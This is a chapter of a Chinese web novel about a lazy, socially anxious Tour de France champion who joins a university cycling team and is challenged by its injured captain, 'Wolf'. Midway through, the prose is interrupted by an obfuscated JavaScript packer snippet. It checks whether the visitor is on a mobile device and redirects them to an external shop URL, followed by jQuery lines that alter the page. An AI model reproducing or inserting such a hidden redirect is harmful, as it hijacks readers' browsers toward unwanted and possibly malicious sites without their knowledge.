巴黎，香榭丽舍大街。
2025年环法自行车赛最后一个赛段，终点线前五百米。
贺晞航头戴耳机，左手离开车把，揉了揉发酸的脖颈。
好累。心累。
耳机里传来车队经理几乎破音的咆哮：“贺！冲出去！现在！黄衫是你的了！”
前方，上一届的卫冕冠军正在做最后的挣扎。
观众席的尖叫声几乎要掀翻整条街道。
“最后一个亚洲冠军是三年前那个中国人吧？”
贺晞航突然想起昨天新闻里的片段。
“叫……Wolf？”
还挺酷的名字。
贺晞航默默说：“其实现在想一想，还是打游戏更有意思。”
“贺！你还在想打游戏！”经理又在咆哮了。
“知道了知道了。”
贺晞航叹了口气，终于将变速器推到最快档。
一瞬间，周围的一切都慢了。
贺晞航眯起眼，身体压到最低，腿部肌肉力量爆发
先超一个。
再超一个。
唉……把这个也超了吧……
好麻烦。
这个也不差啦……超了。
前几届冠军组成的追击队就在前方十米。
啧，超了吧。
最后三百米，他像一枚银色子弹一样，从主车群的侧翼划出一道凌厉的弧线。
观众席的惊呼声浪中，他甚至在百忙之中分神想：今晚该打一下DOTA-S新赛季的排位了。
冲线。
计时器定格：76小时0分32秒。
新的环法总冠军诞生。史上第二个亚洲人。第一次参赛即夺冠，同时加冕爬坡王。
媒体蜂拥而至时，贺晞航正低头回消息。
【脆皮烤肠：昨晚打游戏了？】
【贺：嗯。累。】
【脆皮烤肠：白天你就觉得累了？！给点干劲！】
贺晞航慢吞吞地打字：
【我——非必要不努力，节电人生。你应该知道的】
【脆皮烤肠：好了好了，不说了，我忙去了。】
贺晞航秒回了一个【嗯】字。
说起这个网友脆皮烤肠是他初中就认识，两人聊着就变成网络知己了。
不过开始骑车这个事情并没有告诉脆皮烤肠，因为太不符合他的人设了，如果跟脆皮烤肠说。
他小声嘀咕：“他绝对会爆笑。”
这时，他抬起头，看向挤到面前的法国记者。
“贺先生！作为第二个夺得环法冠军的亚洲人，您想对三年前同样创造历史的中国选手Wolf说些什么？”
贺晞航思考了两秒。
“哦。”他用流利的法语说，慢悠悠说：“比比看？”
这中散漫的态度让台下爆发出更大的欢呼与震惊。所有人都以为这是冠军的霸气宣言。
这跟霸气没半毛钱关系。他社恐而已。他不擅长应付这些场合，所以就会胡言乱语。
不过，他是真的有点好奇。他和Wolf，谁强？！
接下来的采访和领奖，贺晞航全程安安静静地站着，微微低着头垂着眼，没人注意的地方，他垂在身侧的双手，食指和拇指无意识地反复捏着指尖。
这是他有压力或者手足无措时的习惯性动作。
现在他的脑子这时在疯转，脑子里面想的东西，跟热血、荣光半毛钱关系都没有。
开始不耐烦地嘀咕：
“流程也太长了……”
“镁光灯太刺眼了……”
“啥时候才结束啊？好想打游戏。”
一切结束后，当天晚上回去搜了下，Wolf的资料。
无。
照片都是糊得看不清的。
三个月后，中国，长京大学。
他因为父母调职的原因，回到了国内。
贺晞航拖着行李箱，带着降噪耳机，站在“铁狼自行车队”破旧的活动室门口。
“晞航！这儿呢！”室友张童从自行车上跳下来，车轮在石板路上划出清脆的声响，“你怎么才到啊？宿舍我都给你收拾好了！”
贺晞航摘下一边耳机，语气平淡：“飞机。晚点。”
张童：“你还是一如既往的不善言辞……”
贺晞航：“我不住宿舍了，你帮我跟老师说一下。”
张童：“行！那你住哪里？”
贺晞航：“我买了公寓。”
张童：“……你爸妈真有钱？”
贺晞航不说话了。公寓是他自己买的。他有钱。
他有一家一百来人的电竞游戏公司。一年的流水也有十个亿左右。挣钱得很。
张童是他在儿时回国度假时住在隔壁的邻居，听他说好像还参加了大学自行车队。
张童从屋里蹦出来，一把搂住他的肩：“就等你了！咱们车队今年招新惨淡，再不来人队长要杀人了！”
贺晞航试图把肩膀抽出来，“不。累。麻烦。”
“别嘛……看看就是加入的第一步！”
张童不由分说把他拽进门。
“而且我跟你说，我们队长可是很厉害的车手。要不是受伤休养，现在早就是职业明星了！”
贺晞航被他强行拉了进去，活动室里堆着十几辆自行车，墙上贴满比赛照片。
看到角落里有一张铺满灰尘的照片下，发文标着：Wolf
字是手写的，非常小且模糊
贺晞航眯起眼。
原来是他。
“他人在哪？”
贺晞航好奇问。
“训练场！”张童抓起两个头盔，“走走走，正好下午爬坡训练！”
长京大学后山，魔鬼九连发卡弯。
贺晞航靠在护栏上，看着眼前近乎垂直的坡道，打了个哈欠。
“新来的？”
爽朗的声音从身后传来。
贺晞航也不说话，眼神鬼鬼祟祟地看着宋铁朗。
陌生人会让他下意识忐忑、紧张和焦虑。
沉稳的声音再度响起。
宋铁朗推着公路车走来，朝他笑着说：“不说话？看着很内向。”
贺晞航看着近在眼前的Wolf，身高约177，小麦色皮肤，个子很高，简单的黑色骑行服裹着精瘦有力的身形。
他走路时右腿似乎有极细微的不自然，但站定后，那点异样就消失了，只剩下山一样稳的气场。
“贺晞航。”
贺晞航报上名字，目光落在对方右小腿上。
骑行裤下隐约能看到医用绷带的轮廓。
“队长，这就是我跟你说的那个新人！”张童插话，“法国回来的，据说车感超好！”
宋铁朗打量着贺晞航。
“你喜欢骑车吗？”
从那双没睡醒似的眼睛，到过分白皙的皮肤，再到随便套着的平价运动服。
浑身上下写满“我社恐”“别跟我说话”“我不爱运动”。
对于宋铁朗这个问题，贺晞航无法回答。
他心想：这种问题怎么回答？他无法像看到喜欢的游戏时那样轻松地说出“喜欢”，毕竟骑车是一项很虐的运动。也无法像看到不喜欢的人那样淡然说讨厌。
正在思索之际，那道爽朗的声音又继续说。
“爬过坡吗？”
宋铁朗问完之后，朝他露出一个灿烂的笑容。
“算爬过吧。”
贺晞航想了想阿尔卑斯山那些路段。
“你体格不错。”
一阵沉默后，宋铁朗又开口。“不好意思。”
他丢了一瓶功能饮料给贺晞航，慢慢将手伸向贺晞航包裹在牛仔裤下的小腿。
贺晞航吓了一跳。脖子微微涨红了，心想着：什么变态啊。
随后又觉得渴得不行。他从下飞机到现在就没喝过水。
他把宋铁朗给的功能饮料一饮而尽。
心想着：随便他是什么变态了。懒得理他。待会就走。
宋铁朗的从上到下，里里外外摸了他全身的肌肉，动作像是医生在给病人检查有没有外伤。
接着他抬起头，直直盯着贺晞航。
“那跟一趟。”宋铁朗爽朗笑着说，随后跨上车，“跟不住没关系，量力而行。但我要看到你的态度。”
态度。
贺晞航最烦这个词。
他慢吞吞地戴上头盔，跨上张童借他的那辆入门级公路车。
前拨有点卡，后刹车软，轮组偏重。
全是毛病。
算了，随便玩一玩。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271965|198141||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前面，包括宋铁朗在内的七个队员已经出发。
贺晞航踩下脚踏。
第一弯，他跟在中队。
第三弯，他超了两个。
第五弯，他骑到了宋铁朗身后两个车位。
坡度已经达到18%。
周围队员的呼吸声粗重如风箱，汗水滴在滚烫的柏油路上，瞬间蒸发。
贺晞航看了眼码表：心率一百四。
还行。
他甚至有空想回去打什么游戏。
第七弯，最陡的那段，22%的坡度。
宋铁朗突然发力。
他站骑，身体有节奏地摆动，每一次踩踏都充满爆发力。
一看就是经过千锤百炼的职业级动作。
即便右腿明显在克制发力，依然漂亮得令人屏息。
队员们一个个被甩开。
只有贺晞航还在跟。
并且跟得很轻松。
他甚至有余裕观察宋铁朗的姿势：核心稳得可怕，但右腿在下压时有0.3秒的迟滞，左腿因此在承担额外负荷。
受伤了。
而且不轻。
他突然对“宋铁朗怎么受伤”这个事很感兴趣。
正想着，后方突然传来刺耳的刹车声。
一个队员体力透支，控车不稳，猛地朝护栏撞去！
“小心！”宋铁朗厉喝，几乎是本能地变向，用车身挡在那队员外侧。
“队长你的脚！”
有人惊呼。
几乎一瞬之间，贺晞航拧动车把。
他的车非常灵活地，从宋铁朗和护栏之间那道不可能通过的缝隙中挤了进去。
前轮擦着宋铁朗的腿掠过，后轮在即将撞上时猛地一摆。
车停了。
距离那个失控队员的车，只有三厘米。
全场寂静。
只有风穿过山谷的声音。
贺晞航单脚撑地，掏出手机。
屏幕亮起，是脆皮烤肠三分钟前发来的消息：【又打游戏？还是在睡觉？】
他低头打字：【差点出事故，烦。】
发送。
然后他才抬起头，看向宋铁朗。
对方正死死盯着他，眼神复杂。
有震惊，有审视，还有某种被冒犯的怒气。
“你刚才那个变向，”宋铁朗声音绷紧，“跟谁学的？”
“自学的。”贺晞航实话实说，“游戏里也这么过弯。”
几个队员发出憋笑的声音。
宋铁朗的脸色沉下去。
“你觉得骑车是游戏？”
“嗯。”贺晞航收起手机，“够了吧？好累，我想回去了。”
他调转车头，准备下山。
“站住。”
宋铁朗的声音不大，却让所有人都停下了动作。
“你，”他推车走到贺晞航面前。
两人距离近得能看见彼此眼中的倒影。
宋铁朗：“我不知道你在法国是怎么骑车的。但在铁狼车队，自行车是一项运动。需要尊重、汗水和永不言弃的精神。”
贺晞航接话，语气平淡得像在念说明书：“嗯。”
这人好烦。好想回去打游戏。
宋铁朗沉默了几秒。
“那你为什么加入？”
贺晞航想了想：“因为无聊，但又懒得找其他社团。”
他其实不想加入。他甚至都不想动。他只是对Wolf好奇才过来训练场看宋铁朗的。既然宋铁朗这么问，他就只好顺着问题回答下去。因为解释他内心的想法太麻烦了。
空气凝固了。
张童捂住脸。
宋铁朗忽然笑了。
不是开心的笑，而是一种“我明白了”的冷冽笑容。
“好。”他说，“明天下午三点，这里。我和你单独跑一趟九连弯。”
“如果我赢了呢？”贺晞航好问。
“你赢不了。”
“万一呢？”
宋铁朗盯着他：“随你处置，想怎样便怎样。”
贺晞航猝不及防问：“包括你？”
宋铁朗微怔一瞬，随即抬眼，字字铿锵：“是！”
“成交。”贺晞航踩动踏板，“不过队长，你右脚有伤吧？这样比，算我欺负人。”